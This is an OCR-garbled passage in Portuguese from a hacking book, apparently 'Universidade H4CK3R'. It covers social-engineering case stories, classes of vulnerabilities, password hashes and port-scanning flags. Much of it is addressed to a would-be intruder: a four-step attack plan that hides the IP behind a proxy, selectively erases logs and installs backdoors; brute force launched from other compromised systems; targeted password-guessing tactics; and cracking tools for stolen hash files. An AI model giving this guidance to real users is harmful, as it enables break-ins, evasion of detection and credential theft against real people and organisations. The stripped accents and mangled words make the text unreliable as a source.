te para a obteno de nmeros de cartes de crdito e dados como CPF e RG. 11271

] Engenharia

Social

I Universidade

H4CK3R I

o fator sorte
H muitos casos em que os procedimentos de engenharia social so facilitados por descuidos dos usurios e dos administradores do parque de informtica das empresas. s vezes, mesmo empresas muito seguras deixam escapar uma, e apenas uma, informao no bvia. Se o hacker tiver a sorte de tropear nessa informao, seu processo de engenharia social poder ser abreviado em vrios dias, s vezes semanas. Oreille attentive et bon vouloir!2

Navegando pelo mar proibido


Mesmo depois de invadidos, um computador, um site ou uma empresa so um quebra-cabea complicado para o invasor. At ento este possua as informaes sobre a periferia. Agora ele tem acesso irrestrito a todas as reas do local invadido, mas que para ele se parece mais com um labirinto. O controle de acesso e usurios internos de empresas, por exemplo, normalmente menos rigoroso que os procedimentos de segurana das partes visveis externamente (site, e-mail, gateways e Internet). Mas ainda assim, uma vez dentro, o invasor dever quebrar senhas, contornar dispositivos de segurana ou mesmo utilizar novamente a engenharia social para obter informaes cada vez mais prximas do ncleo. Este um processo sem ftm' ;-)

Casos reais
Os hackers listados nesta "galeria da fama" ganharam notoriedade por seus ataques muito bem engendrados e pelas somas fabulosas em dinheiro que foram capazes de movimentar. Mas lembre-se: hackers, quando so realmente bons, no so apanhados...

Abraham Abdallah
Em 2002, o hacker e.lavador de pratos Abraham Abdallah recebeu acusaes de fraudes da ordem de US$ 80 milhes. Utilizando-se da revista Forbes, que publicou uma lista com as 400 pessoas mais ricas dos EUA,ele roubou o nmero de diversos cartes de crdito de pessoas famosas. Utilizando tcnicas de engenharia social, Abdallah enganou bancos e empresas de crdito para conseguir as informaes para o seu golpe. Chegou a montar uma rede de caixas postais para receber as encomendas que fazia com o dinheiro roubado. Foi descoberto pela polcia ao tentar retirar uma quantia acima do saldo existente de Thomas Siebel, fundador da empresa de e-commerce chamada Siebel Systems.
2 "Orelha atenta e boa vontade"" - expresso muito empregada no texto As Mil e Uma Noites Narrativas de Sabedoria (Les Mille et Une Nuits - Rcits Sapientiaux. Traduo para o francs de Ren R. Khawam, ditions Albin Michel, Frana). O original em rabe impronuncivel para os ocidentais.

1128 I
Engenharia Social [

Universidade 1Ano

Kevin Mitnick
Kevin Mitnick j foi um dos criminosos mais procurados pelo FEI,devido aos crimes digitais que cometeu. Aps ganhar a liberdade, ajudou a fundar uma empresa de consultoria especializada em segurana, a Defensive Thinking. Esse um fato que chega a surpreender muito, pois Mitnick tomou-se um smbolo da engenharia social ao planejar e realizar seus ataques aos sistemas de grandes empresas pelo mundo. Ele usou as artimanhas da engenharia social pela primeira vez nos anos 70, ao conhecer um estudante que lidava com "phreaking" (o hackeamento de linhas telefnicas). Ele percebeu como os phreakers agiam, fazendo-se passar por llllcionrios das companhias telefnicas. Comeou a tentar com amigos e professores e sentiu-se motivado aps notar que tinha facilidade em conseguir informaes confidenciais. Ele foi evoluindo suas tticas at o ponto em que nenhuma empresa estava mais segura contra os seus ataques. Sua lista de ataques inclui desde telefonemas inocentes ao setor de suporte at a incorporao de funcionrios importantes para conseguir informaes como senhas para obter acesso a grandes sistemas da empresa. Dessa forma, Mitnick tornou-se uma lenda para a populao hacker ao redor do mundo. Alm desses, podemos citar, com louvor, outros hackers que se utilizaram de engenharia social para atingir seus objetivos: ~ O polons VIadimir Levin, que desviou mais de dez milhes de dlares de contas no CityBank; ~ Raphael Gray,que roubou quase 30 mil cartes de crdito nos Estados Unidos e, com um deles (que ele alega ser de Bill Gates), comprou uma caixa de Viagra e a remeteu ao prprio; ~Jerome Heckenkamp, ingls de 22 anos, que pediu ao juiz para ser preso depois de invadir sites como o eBay,Lycos e eTrade; Poderamos preencher completamente este livro citando diversos hackers famosos (inclusive brasileiros). Apenas estes exemplos, entretanto, mostram como as estruturas de segurana, que j so ruins no campo tecnolgico, ficam piores quando o fator humano entra em campo.

1129 I

] Engenharia

Social

Vu lnera bilidad es

Captulo
"!

am a world's forgotten boy

The one who searches and destroys Look out honey, 'cause /'m using technology Ain 'tgot time to make no apology"i The Stooges, "Search and Destroy"

J "Eu sou um g'aroto esquecido pelo mundo / Aquele que vasculha e destroi / Estou usando tecnoJog'ia / E por isso no tenho tempo para me desculpar': Do album Ilaw Power. 1973.

I Universidade

H4CK3R

Imagine uma nao como os Estados Unidos da Amrica. Forte, rica, militarmente imbatvel, tecnologicamente muito frente de qualquer outra. muito difcil imaginar que uma nao como essa perca uma guerra sendo travada em algum pas distante. Mesmo que, por algum motivo, perca tal guerra, os dispositivos nacionais de defesa nunca deixariam que um ataque qualquer (militar ou terrorista) chegasse perto das fronteiras do pas. Certo? Bem, 11 de setembro deixou claro que ningum pode prever tudo. Os terroristas atacaram por onde foi mais fcil, usando pessoas comuns - cidados americanos - e atuando em pontos reconhecidamente vunerveis - a fraca segurana dos aeroportos. Quem poderia imaginar que avies comerciais seriam usados como msseis para derrubar as torres do World Trade Center em Nova York? Se pensarmos bem, a idia to insana que chega a ser genial (do ponto de vista dos terroristas, obviamente): foi deveras fcil causar todo aquele dano. Administradores de sites e de redes e mesmo ns, usurios comuns de informtica, temos o mesmo dilema. Aplicamos correes de segurana liberados pelos desenvolve dores dos programas que usamos, instalamos flrewalls, antivrus, removedores de trojans e toda uma parafernalha tecnolgica para descobrir, depois de alguns dias, que no adiantou nada: bastou um garoto de 12 anos com muita vontade e ms intenes para invadir nossos sistemas e fazer um belo estrago. Infelizmente mesmo o usurio leigo deve se preocupar com a segurana de suas informaes e sistemas de informtica. Hoje no basta trocar a fechadura da porta: se o seu forro for de madeira, os ladres entram pelo teto. Assim como devemos modillcar (desflgurar?) nossas casas para torn-Ias mais seguras, temos de estar atentos a todos os buracos no bvios que os programas os quais usamos apresentam para os terrveis chapus pretos2.

Noces sobre vulnerabilidades


I

o estudo das vulnerabilidades existentes deve fazer parte da rotina do bom hacker (err... do mau tambm...). Diariamente, listas de discusso e sites especializados liberam listas e mais listas de falhas em sistemas operacionais e servidores. Considerando que, se voc est lendo este livro e est neste captulo, voc est querendo aprender. Utilizar-sede tcnicas j conhecidas e divulgadas o trampolim para, no futuro, descobrir essas vulnerabilidades antes dos organismos de defesa. Mesmo um hacker experiente tem de estar atento a essas listas, caso algum usurio queira facilitar seu trabalho e deixar seu computador desatualizado.
2 No captulo 1, Psicologia Hacker, vimos diversos tipos de hackers divididos por habilidade. Mas o grande universo do submundo digital pode ser dividido, sem levar em conta as habilidades individuais, entre a comunidade do bem e a legio do mal. Os do primeiro tipo so chamados de chapus brancos, ou white hats. J os malidosos se autodenominam chapus pretos, ou black hats. H os que trabalham no limiar dos dois tipos e so chamados de grey hats (chapus cinzas). Em tempo: a Red Hat, Ine. (www.redhat.com) no tem nada com isso...

1132 I
Vulnerabilidades I [

Universidade 1 ano

Normalmente, h trs tipos de fafuas que podem ser exploradas: 1. Fafuas que afetam a disponibilidade da mquina ("tir-Ia do ar"). Isso pode ser feito de diversas maneiras, uma delas (mas no a nica) a negao de servio (ou DoS). 2. Falhas que permitem o acesso limitado ao sistema. o que comumente chamamos de "invaso". Nela incluem-se fafuas do software e falhas de configurao (ou seja, humanas).As falhas de software mais comuns podem ser exploradas diretamente ou por algum tipo de estouro de pilha (o famigerado buffer overflow). J a falha humana mais comum instalar o sistema e no aplicar as atualizaes e patches recomendados pelo fabricante. Tambm comum deixar as contas-padro do sistema (administrador, root, bin, operator, sysop... a lista grande) ativas ou com as senhas default.

3. Falhas que permitem a execuo de cdigo arbitrrio na mquina. Pode ser


o passo seguinte do tipo anterior, ou pode ser explorado diretamente por algum tipo de exploit, sendo o buffer overflow muito comum. H outros tipos de fafuas, mas no fundo so especializaes desses trs grandes grupos. Se o seu objetivo ser um usurio ou administrador bem informado, estar atento s listas de segurana um bom ponto de partida, uma vez que a maioria esmagadora dos autodenominados hackers/crackers no passam de moleques com vontade de pichar alguma coisa. Tais fedelhos normalmente no conhecem nada muito alm do divulgado nessas listas. sua obrigao SEMPRE atender aos apelos do seu fabricante de software e atualizar os programas que voc usa para ficar imune a essas fafuas. Se no o fizer, o azar seu: vai ficar merc de adolescentes com muuuito tempo livre...

Superlammers

e sua viso de Raio-X

Qualquer falha de segurana possui caractersticas nicas. Cada sistema operacional e cada programa autnomo apresenta as suas, mas grande parte das vulnerabilidades permite o acesso a reas consideradas restritas de servidores e computadores pessoais - trocando em midos, toda estrutura de diretrios de todos os discos rgidos. O grande problema dos lammers que eles no tm a mnima idia do que esto fazendo. E nem querem ter: basta encontrar algum site desprotegido, desfigur-Ioe gozar dos seus cinco minutos de fama. Com seus conhecimentos limitados, normalmente usam uma abordagem de trs estgios para direcionar seus ataques: 1. Busca por computadores vulnerveis Lammers normalmente no possuem um objetivo definido. No esto atrs de prejudicar aquela companhia ou roubar o dinheiro daquele banco. Pelo contrrio, vasculham a Internet atrs de computadores (seja servidores, seja pessoais) que estejam vulnerveis aos poucos tipos de ataque que eles conhecem. Para tanto, utilizam-se de ferramentas conhecidas como scanners, que, aps forne-

1133 I

] Vulnerabilidades

I Universidade

H4CK3R I

cer um conjunto de mquinas a ser testado, retomam listas s que estiverem desprotegidas. Como possvel colocar faixas inteiras de endereos de Internet neles, essas listas podem chegar a centenas de computadores e sistemas. 2. Invaso e posse Mas descobrir as vulnerabilidades no o suficiente para executar um ataque. Uma vez encontrado o alvo fcil, os script-kiddies (outro nome dado aos lammers) utilizam-se de outras ferramentas para explorar os buracos encontrados. Normalmente, nossos garotos tm em mos uma biblioteca razovel de exploits scripts e programas utilizados para "desfrutar" das fraquezas da vtima - para que sua descoberta no seja em vo. H exploits para "derrubar" a mquina-alvo e para control-Ia.Aplicado o exploit apropriado, o lammer "owna"3 o sistema e faz o que quer com ele. 3. Manuteno do ataque O lammer sabe que sua glria durar pouco e, portanto, instala no computador invadido programas que lhe permitam voltar l, mesmo que o buraco por onde entrou seja obstrudo. Chamados de backdoors - literalmente, porta de trs -, so rotinas extremamente simples e eficientes que, utilizando os recursos do prprio sistema operacional, permitem ao invasor conectar-se posteriormente ao sistema. comum instalar mais de um backdoor, e kiddies mais sofisticados chegam ao cmulo de instalar entre eles algum facilmente detectvel. Isso confunde o administrador da mquina, fazendo-o acreditar que resolveu o problema removendo apenas aquele. Note que este livro tem a inteno de apresentar a porta de entrada desse submundo ao leitor. Nenhum livro, publicao, site ou FAQna Internet ensinar ningum a ser hacker, pois isso depende de anos de estudo, evoluo contnua e abnegao. Neste captulo, vamos estudar algumas ferramentas e falhas de segurana mais comuns em micros domsticos e como explor-Ias da forma mais eficaz. Obviamente, aqui ainda estaremos no terreno dos lammers. Mas mesmo sendo procedimentos tecnicamente simples, veremos que no so nada incuos.

Os quatro passos para um hacking feliz


Voc j fez toda a parte de Engenharia Social (que seria o passo zero desta lista) na vtima. Ou encontrou uma vtima por acaso em suas longas noites de busca a esmo pela Internet.J descobriu onde esto as brechas e que ferramentas usar. S lhe resta invadi-Ia, mas a pergunta : como? Ser fcil? Ser que no uma armadilha? Ser que o meu scanner me enganou? A resposta para tudo isso planejamento. Os passos a seguir foram compilados de diversos relatos de hackers/crackers. No tm a inteno de ser uma cartilha, mas podem servir de base para a mmtagem de ataques bem-sucedi3 Tomar posse pelos kiddies. da mquina invadida, desfigurando-a ou recuperando dados secretos, no jargo aceito

11341
Vulnerabilidades Ir

Universidade 1 ano

dos. So destinados a ataques a redes de empresas, mas possvel adapt-Ios para atacar computadores pessoais solitrios, tambm. 1. Uma vez descoberta a vulnerabilidade, no tente invadir sua presa imediatamente. Ao contrrio, conhea sua vtima. Visite seu site na Internet (sem atacar, apenas olhe). Se for na sua cidade, visite sua sede e tente descobrir mais sobre produtos, empregos, servios, funcionrios, hbitos... Podem-se usar tcnicas passivas (observao para ver o que entra e o que sai da mquina ou rede) ou ativas, como organizar miniataques a pontos isolados e verificar as mensagens que so retornadas. O importante coletar informaes suficientes para elaborar um plano de ao, preferencialmente com desfechos alternativos, caso algo d errado. 2. O primeiro acesso a gente nunca esquece. Essa a parte mais importante do ataque. Pode-se dizer que esta etapa o ataque propriamente dito. Depois de des- . coberta a vulnerabilidade e examinado o comportamento da vtima, use o exploit apropriado para ganhar acesso limitado ao sistema. E no se esquea de usar um proxy pblico para esconder seu endereo IP!!! 3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar acesso total mquina (root para sistemas Unix, administrador para sistemas WinNT - no Win9x, o primeiro acesso j garante controle totaL). Cada SO possui procedimentos diferentes para tal. Uma vez conseguido o acesso irrestrito, basta coletar as informaes desejadas e, se for o caso, desfigurar o sistema. 4. Agora que voc j "ownou" o sistema, trate de cobrir seus rastros e instalar as portas de trs. Verifique os logs do sistema e apague tudo o que for relativo sua visita, MASAPENASISSO! Resista tentao de apagar o log todo - um "buraco" no registro de eventos far com que o administrador descubra mais cedo do que o esperado que algum andou bulindo com seu brinquedo. Depois de fazer a cirurgia nos logs, instale os backdoors. Alguns hackers mais experientes tm o cuidado de aplicar patches no sistema para remover as portas que os deixaram entrar, evitando assim que outros hackers menos habilidosos entrem no sistema e, por descuido, alertem o administrador de que a mquina foi tomada. Alguns dos passos devem ser repetidos, especialmente o 2. Em alguns casos ser preciso fazer diversos miniataques "1 2 3 4", "1 2 3 4", at que todas as brechas tenham sido encontradas e exploradas. Obviamente estamos falando de sites e computadores frouxamente monitorados: tenha sempre em mente que muitos sistemas possuem IDS (Intrusion Detection Systems), que detectam scans e auditam os logs do sistema (o que voc apaga guardado em outro log escondido...), aumentando assim a possibilidade de voc ser pego. H ainda os sistemas chamados de Honeypots, que apresentam ao invasor uma aparncia de sistema vulnervel, mas, na realidade, o conduzem para uma armadilha. Ningum quer ir para a cadeia e, mesmo que no haja implicaes penais desse tipo, ser pego sempre , no mnimo, desagradvel e desabonador. Alguns cuidados devem ser, portanto, seguidos para que o invasor possa desfrutar de sua presa sem ser importunado.

1135 I
I

]Vulnerabilidades

I Universidade H4CK3R I

Search and destroy


Agora que voc possui uma idia geral sobre como organizar um ataque (lembre-se: PLANEJEANTES!!!),podemos apresent-Io a algumas ferramentas que o ajudaro em seus ataques. Mas note bem: a velocidade com a qual as armas so criadas e neutralizadas violenta! No se atenha aqui ao programa em si, mas sim ao modo de usar uma ferramenta dessas para conduzir um ataque. quase certo que tais ferramentas no sero eficazes, pois os computadores j estaro protegidos contra elas. Mas tambm certo que novos softwares surgiro. Fique ligado!

Logins fracos
No h necessidade de ferramenta alguma, se quem instalou o software j fez o servio para voc. Todos os sistemas possuem algumas contas-padro j configuradas antes de o sistema ser instalado (ou seja, j na mdia de instalao). obrigao de quem est preparando uma mquina para utilizao real saber quais so essas contas e mudar as senhas das que sero usadas, desabilitando as restantes. Tristemente, vemos diversos "administradores" por a que recebem seus Windows 2000 e seus Unix diretamente do fornecedor e no se preocupam em fazer uma anlise de segurana antes de colocar o equipamento em produo. Para quem quer brincar de hacker, sistemas assim so um prato cheio. Mesmo que as senhas sejam alteradas, saber que tais contas existem pode ser um facilitador para o script kiddie, uma vez que metade da dupla j conhecida, faltando apenas adivinhar a senha. No CD, reunimos diversos conjuntos login/senha comuns, vlidos para a maioria dos sistemas operacionais. Esto em formato texto e podem ser utilizados como listas de palavras em quebradores de senhas. Logins cujas senhas no so mostradas na lista so contas que existem mas para as quais no h uma senha-padro consagrada. Experimente essas combinaes em sistemas conhecidos seus. H sistemas nos quais voc, por engenharia social, j conhece algumas contas, falta tentar alguma senha. Na maioria dos casos, uma das palavras da lista acima usada como senha por algum.

Arrombando a porta da frente


Nos velhos e bons tempos, as pessoas no eram to ligadas em segurana, e furos como os das contas e senhas-padro eram freqentes. Mas hoje todos so paranicos. H muito mais chances de voc deparr-se com um sistema em que todas as contas-padro foram canceladas e para o qual engenharia. social no possvel. Nesses casos, o hacker no tem outra alternativa seno tentar, uma por uma, todas as combinaes de login e senha que ele puder imaginar. Por no demandar inteligncia, mas trabalho braal, tal procedimento chamado de fora bruta ou brute force. Faz-Ia manualmente impossvel, dadas as propores da tarefa, ento os crackers normalmente usam programas que automatizam o processo.

1136 I
Vulnerabilidades I [

Universidade 1 ano

o brote force seguramente o mtodo mais deselegante de tentar uma invaso por login e senha. Voc pode fazer brote force no computador do seu irmo, em casa, para descobrir as senhas dos arquivos Excel ou PDF,por exemplo. Ou pode tentar, via Internet, entrar naquele site de sexo com uma dupla usurio/senha existente, em vez de buscar quebrar a segurana do site por outras vias. Tambm pode experimentar entrar na rea restrita da rede de sua empresa. De qualquer forma, o brote force deselegante, facilmente detectvel e, em sistemas bem configurados, incuo. No exemplo do site, um sistema de controle de acesso bem-feito cancelaria o usurio ou travaria o login por um tempo determinado, caso mais de trs tentativas sem sucesso fossem feitas. Em situaes de war-dialing, necessrio discar para o modem no qual se quer penetrar para cada tentativa de brote force, o que o toma dispendioso em termos de dinheiro e tempo. Entretanto, h casos (normalmente os mais difceis) em que o brote force a nica sada. H um outro mtodo parecido, que pode ser considerado um brute force inteligente: os ataques por dicionrios. Utilizam-se listas de palavras comuns: nomes prprios, marcas conhecidas, grias, nomes de canes, f1lmes...Os softwares modernos de fora brota empregam ambos os processos, tentando primeiro a lista de palavras para depois aplicar as combinaes seqenciais do brote force "primitivo". Obviamente, o brote force um procedimento perigoso. Um administrador de sistemas seguramente perceber que os logs de falhas de login crescem assustadoramente, e que todas as tentativas vm de um nico IP.Um paleativo colocar uma espera de alguns minutos entre uma tentativa e outra, mas isso vai retardar ainda mais um processo que, normalmente, pode durar vrios dias ou mesmo semanas. O procedimento mais sensato invadir vrios sistemas sem importncia e disparar o brote force a partir deles (obviamente, sempre se lembrando de apagar seus rastros). Hackers mais experientes sabem que as listas de palavras devem ser customizadas para cada alvo, e que, para ser considerada boa, uma lista deve conter elementos conseguidos por engenharia social, como o nome completo do usurio, de sua namorada, esposa ou fIlhos, seus passatempos, o modelo de seu carro novo ou seu endereo. Informaes como estas so utilssimas, efetivas em mais de 50% dos ataques - principalmente quando se tem um nmero razovel de contas vlidas, bastando descobrir apenas a senha. Se o candidato a invasor no souber pelo menos o login de uma conta vlida, quase certo que suas tentativas sero infrotferas. Sua lista de palavras deve conter nomes prprios do pas onde a mquina-alvo se encontra. Livros como Que nome darei ao meu fIlho? ajudam muito nessa hora, e conseguir edies desses livros em diversas lnguas um refInamento importante da tcnica. Procurar na lista telefnica ou em sua agenda comercial por nomes e anotaes de outras pessoa~ tambm uma boa idia.
I

1137 I
Vulnerabilidades I

I Universidade

H4CK3R I

Sempre tendo em mente que saber o login correto da vtima mais que meio caminho andado, aqui vo as sugestes para aplicar como senha nesse login: 1. Sempre tente todos os nomes e sobrenomes da vtima, um por vez. Se o login o primeiro nome, ou uma combinao de nomes, h muitas chances de que a senha seja algum dos outros nomes, seguidos ou no de nmeros seqenciais ou letras. _A,_B, _C ou -XYZ tambm so SufIXOS comuns (em maisculas ou minsculas). 2. Se disponveis, tente as palavras conseguidas por engenharia social: namorada/ esposa, filhos, carro, passatempo, posies sexuais, nomes dos chefes... Em seguida, tente os nomes prprios mais comuns copiados da agenda ou da lista telefnica. 3. Tambm uma boa idia tentar algo relativo ao sistema que est sendo invadido. Se a mquina em questo a nica que possui AutoCAD em toda a empresa, tente as senhas acad, autodesk, autocad ou cadcad. Se estiver em um terminal de mainframes IBM, tente ibmibm, X3270, bigblue, X25. Em um VAX, experimente vax, vms, digital ou compaq. 4. Usurios tambm so sensveis ao local onde trabalham. Experimente alguma coisa relativa cidade, bairro ou rua onde a empresa se encontra, o prprio nome da empresa ou seus produtos mais famosos. Em uma mquina da Telemar, por exemplo, poderiam ser tentadas as senhas DDDeh31, velox ou interurbano. s vezes, o funcionrio est desgostoso com a companhia. Sua senha nesses casos costuma ser ou uma palavra de baixo calo ou algum produto da concorrncia (exemplo: um funcionrio da Conectiva possui a senha windowsxp). 5. Por ltimo, deve-se, separadamente, tentar suas listas de palavras e senhas comuns. Nunca use listas com mais de cem palavras, pois voc ficaria exposto demais e facilmente detectvel, alm de modularizar e especializar o ataque. Um procedimento importante ao elaborar suas listas de palavras tentar pensar da mesma maneira que o usurio. Caso ele fuja das combinaes comuns (nome da esposa, ftlhos, etc.), sua senha ser o que primeiro lhe vier cabea, ou o nome de algum objeto que est em sua escrivaninha. No CD h diversos programas para brute force, a maioria com possibilidade de se usar em tanto dicionrios quanto combinaes seqenciais. No vamos recomendar nenhum aqui: teste-os e tire suas prprias concluses.

Sem quebrar o ovo no se faz omelete


Imagine a situao inversa da seo anterior. Voc j entrou numa mquina

Unix ou Windows NT/2k/XP e capturou o arquivo de senhas do sistema.Obviamente essas senhas esto criptografadas, portanto, o arquivo pouco lhe ser til se no fosse uma outra classe de programas que todo cracker deve ter: os quebradores de senhas. Na maioria das vezes, invade-se o sistema por algum descuido do administrador, mas com um usurio cujos poderes so muito limitados. Roubando-se o arquivo de senhas, possvel entrar nas reas privativas dos outros usurios (den-

138

Vulnerabilidades

Ir

Universidade 1ano

tro da mesma mquina ou na rede) e capturar informaes teis para um ataque mais profundo, ou mesmo dados vitais, como senhas para outros servios, acesso a reas restritas da empresa ou nmeros de carto de crdito. possvel tambm conseguir a senha do administrador e reahnente "ownar" a mquina. Arquivos de senhas criptografadas geralmente possuem hashes ao lado dos logins. Hashes so uma seqncia de smbolos que, confrontados com a chave criptogrfica correta, revela a senha do usurio. No Windows NT (e, posteriormente, no Windows 2000 e no XP) as senhas so armazenadas no registro. Um exemplo de hash do Windows poderia ser: maedinah: 1001 :3592C2B9967FD3A4976EED543AC98756C3C3CFA2:8903 AD475E3478C45D 15B1749777DCFD3CC4457::: o primeiro campo , obviamente, o login do usurio. O segundo o ID nico do usurio no sistema. Sistemas da famlia WinNT possuem tal identificao da mesma forma que nos Unix, embora isso seja escondido dos usurios. Depois temos dois grandes nmeros, que representam as senhas criptografadas do sistema. A primeira a representao da senha para redes Microsoft antigas, compatveis com LAN Manager. Por isso mesmo, chamada de LM Hash. Na verdade, nem a senha que criptografada. Do contrrio, o sistema gera dois nmeros hexadecimais, e esses nmeros so criptografados pelo padro DES (Data Encryption Standard), usando como chave a senha, ajustada para 14 caracteres (caso o usurio tenha escolhido uma senha menor, so aplicados enchimentos). Cada metade da senha (sete caracteres) usada para criptografar um dos nmeros hexadecimais. Essa representao da senha muito fraca e facilmente decodificvel por hackers. O mtodo normalmente utilizado a diviso do hash em duas partes, e o hacker usa password crackers independentes em cada pedao, acelerando a quebra da senha. A seguinte a chamada representao NT da senha. Ao contrrio da anterior, essa representao muito mais dificil de decifrar. A senha , tambm, ajustada para 14 caracteres e depois criptografada trs vezes com o algoritmo de hashing MD-4.Apesar de muito melhor, ainda ineficiente se comparado aos sistemas Unix. Falta "sal". O conceito de "salting" (ou "salgar") interessante. Qualquer algoritmo de criptografia baseia-se na permuta de valores. Temperar o hashing com salt significa escolher aleatoriamente muitos dos valores para permuta, adicionando uma nova camada de desafio para a reverso do criptograma.A falta de "tempero" permite ao cracker usar apenas uma estimativa de hashing para a senha, diminuindo consideravelmente o tempo necessrio para descobri-Ia. Mesmo sem esse problema, o Windows NT/2k/XP possui outro inconveniente gritante: os hashes so legveis por qualquer usurio. No h como prevenir que crackers tenham acesso a eles. Alm disso, na maioria dos casos, a mesma senha blindada pelo hash NT est fracamente dissolvida no pseudo-hash LM. Desco1139 1

]Vulnerabilidades

I Universidade

H4CK3R I

brindo o segundo, provvel que o cracker tenha acesso ao sistema e rede. No Unix, as informaes de login so armazenadas no arquivo /etc/passwd. O contedo do arquivo passwd muito mais complexo (e completo) que o seu equivalente microsoftiano. nonodeogum: $1$YgQ8Da9T$WFS59jmV80kWAia2cjr8u1: Nono de Ogum:/home/nonodeogum:!bin!bash 500: 500:Pai

Da esquerda para a direita, separados por dois pontos, temos: nome de login, hash da senha, ID do usurio, ID do grupo a que ele pertence (tanto no WinNT quanto no Unix os usurios so organizados em grupos), nome completo do usurio (este o antigo G-COS field), localizao do diretrio pessoal (home) do usurio e shell de login. Observe o hash. muito mais complexo que o do WinNT. No h como o hacker descriptografar a senha porque ela "s de ida". A chave de criptografia aplicada quando o usurio cadastra a senha, ficando o resultado do hashing guardado no arquivo passwd.A chave, sendo de "mo nica", s pode ser descoberta por brute force. Quando o usurio Ioga-se no sistema, a senha do arquivo passwd no decifrada. Ao contrrio, a senha que ele fornece durante o login criptografada novamente e comparada com a que est gravada no arquivo. Se ambas "baterem", o usurio tem acesso ao sistema. Uma das caractersticas interessantes que nenhum algoritmo de criptografia gera um hash que contenha o caractere "*". Por isso mesmo, colocar um caractere desses no lugar da senha impede o login por aquela conta. A abordagem /etc/passwd tem um problema. Todos os usurios devem poder ler do arquivo, pois suas informaes vitais (UlD, GID, home e shell) esto nele. Isso quer dizer que os hashes de todos os usurios ficam desprotegidos e qualquer lammer com uma conta no sistema pode querer rodar um quebrador de senhas neles. Mesmo sendo difcil de quebrar, um arquivo que pode ser lido por todo mundo tambm pode ser copiado em disquete, levado para casa e quebrado sossegadamente por uma mquina comum, sem que ningum saiba. Para resolver esse problema, a maioria dos Unices de hoje utiliza o sombreamento de senhas ou shadow passwords. O shadow um arquivo com permisso de leitura apenas para o root. No /etc/passwd, no lugar da senha, temos um "*,, ou "x" para indicar que a senha est no arquivo shadow. Esta tcnica sozinha torna impossvel conseguir, como usurio normal, as senhas de outros usurios. E, como sabemos, na maioria dos ataques temos de conseguir acesso restrito primeiro para depois tentar acesso irrestrito. Um nico expediente coloca dois nveis de dificuldade a mais no caminho do cracker. O quebrador de senha mais conhecido para a famlia WinNT o LOphtCrack, uma ferramenta de uso muito fcil e capaz de quebrar os fracos hashes do Windows em pouco tempo. Atualmente est disponvel apenas em verso comercial custando US$ 350, mas pode-se conseguir o cdigo-fonte de uma ver140

Vulnerabilidades I [

Universidade 1ano

so mais antiga no endereo www.atstake.com/research/1c/download.html. Para Unix, a vedete o fabuloso JoOOthe Ripper. O software capaz de quebrar, com alguma ajuda da engenharia social, as senhas dos arquivos passwd e shadow (se o cracker conseguir acesso a eles) e, em conjuno com ferramentas de conectividade, pode capturar senhas criptografadas que trafegam em uma rede. Alm de Unix, h verses do programa para DOS, Win32, BeOS e OpenVMS e checagem de Kerberos AFSe pseudo-hashes LM do Windows NT!2k!XP.O JoOO the Ripper est disponvel em www.openwall.com/joOO/. O leitor deve ter notado que no mencionamos a famlia Win9x nesta seo sobre senhas. O motivo bem simples: no h segurana nesse ambiente. As senhas so gravadas em arquivos com o nome do usurio e a extenso PWL. Deve ser relativamente fcil quebrar as senhas embaralhadas nesses arquivos (recusamo-nos a usar a palavra "criptografadas" aqui), mas no h necessidade de tanto: basta apagar os arquivos e o Windows alegremente pede novas senhas... Entretanto, como os arquivos PWL podem guardar (e normalmente o fazem) a mesma senha da rede. quebr-Ios pode ser bem til! H milhares de quebradores de PEL no packetstormsecurity.nl.

Scanners
Scanners so programas utilizados para varrer os computadores em uma rede procura de vulnerabilidades. H portas abertas a ataques tanto em mquinas pessoais quanto em servidores de todos os tamanhos. Os scanners buscam sistemas que estejam desprotegidos e prontos para receber uma anlise minuciosa sobre sua segurana. A maioria dos scanners no foi desenvolvida com inteno de uso maligno. Mas como a rosa bonita e perfumada tambm possui espinhos, so utilizados pelos dois lados: os hackers os utilizam para o ataque, enquanto os administradores procuram as brechas para fazer as devidas correes. Existem scanners especficos, desenvolvidos por empresas, que do nfase segurana e que geralmente custam caro. Como um cracker no respeita nada, fatalmente tais scanners cairo em suas mos. Outros so criados por hackers mais experientes. Enquanto a vulnerabilidade que esses scanners exploram for segredo de cls, poucos tero acesso a eles. Depois que ficam obsoletos, so postos na rede para que os script kiddies possam fazer uso. Por isso, bom lembrar que scanners encontrados facilmente na Internet podem no ser mais to eficientes ou so mesmo completamente inteis. Podemos dividir os scanners em dois tipos: o scanner de portas TCPjIP abertas (ou portscanner) e o scanner de vulnerabilidades conhecidas.

Portscanners
Toda mquina com conectividade TCPjIP possui, em teoria, mais de 128 mil pontos vulnerveis. Cada servio de rede que estiver disponvel em uma determinada mquina uma porta de entrada em potencial - como vimos no captu1141 1

] Vulnerabilidades

I Universidade

H4CK3R ,

10 sobre Unix. Em Redes I, aprendemos que cada um desses servios "escuta" a rede por meio de uma porta representada por um nmero, espera de conexes. Como so 65.536 portas para o protocolo TDP e 65.536 portas para o protocolo UDp, temos a uma verdadeira legio de hidras. Por exemplo, se a mquina for um servidor Web, bem provvel que a porta TCP 80 esteja aberta, para que outros computadores possam acessar as pginas HTML. Outro exemplo: uma mquina Windows que esteja com o compartilhamento ("share") de arquivos ligado "escuta" as portas 137, 139 e 455 espera de outras mquinas Windows que queiram ler os arquivos compartilhados. Esses nmeros esto normatizados na RFC17004. Os portscanners verificam as portas TCP/lP abertas de um sistema. Seu objetivo listar os servios de rede TCP/lP disponveis, fazendo com que respondam quando consultados. Com os resultados fornecidos pelo portscanner e o conhecimento da RFC1700, o hacker pode determinar quais servios esto dando sopa e aplicar neles os exploits pertinentes. Existem tambm os stealth port scanners, que utilizam tcnicas de no-conexo ou conexo incompleta para no serem detectados nem sempre com sucesso - como se tivessem um sistema de camuflagem. Os administradores tm de utilizar ferramentas especficas para detect-los. Quase todas as tcnicas de portscanning valem-se dos sinais (ou flags) TCp, UDP ou ICMP trocados entre os programas que querem se conectar. Apenas para referncia rpida, os sinais so estes:
PSH (push) Um tipo de "vlvula de descarga", acelera a transmisso para poder finaliz-Ia SYN (synchronize) Tentativa de sincronizao entre portas ACK(acknowledge) - Indica que os pacotes anteriores foram aceitos no destino RST (reset) - Interrompe a conexo,devido aerros ou "queda de linha" FIN (finish) - Finalizadorde conexo, usado no fim da transmisso (no h mais dados)

URG (urgent)

- Sinalizador de urgnda

